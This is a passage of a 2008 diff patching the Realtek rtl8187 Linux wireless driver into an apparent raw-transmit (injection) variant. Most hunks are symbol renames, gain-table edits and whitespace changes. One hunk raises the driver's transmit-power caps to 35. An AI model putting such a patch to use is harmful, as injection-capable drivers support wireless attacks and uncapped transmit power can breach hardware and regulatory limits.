escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); 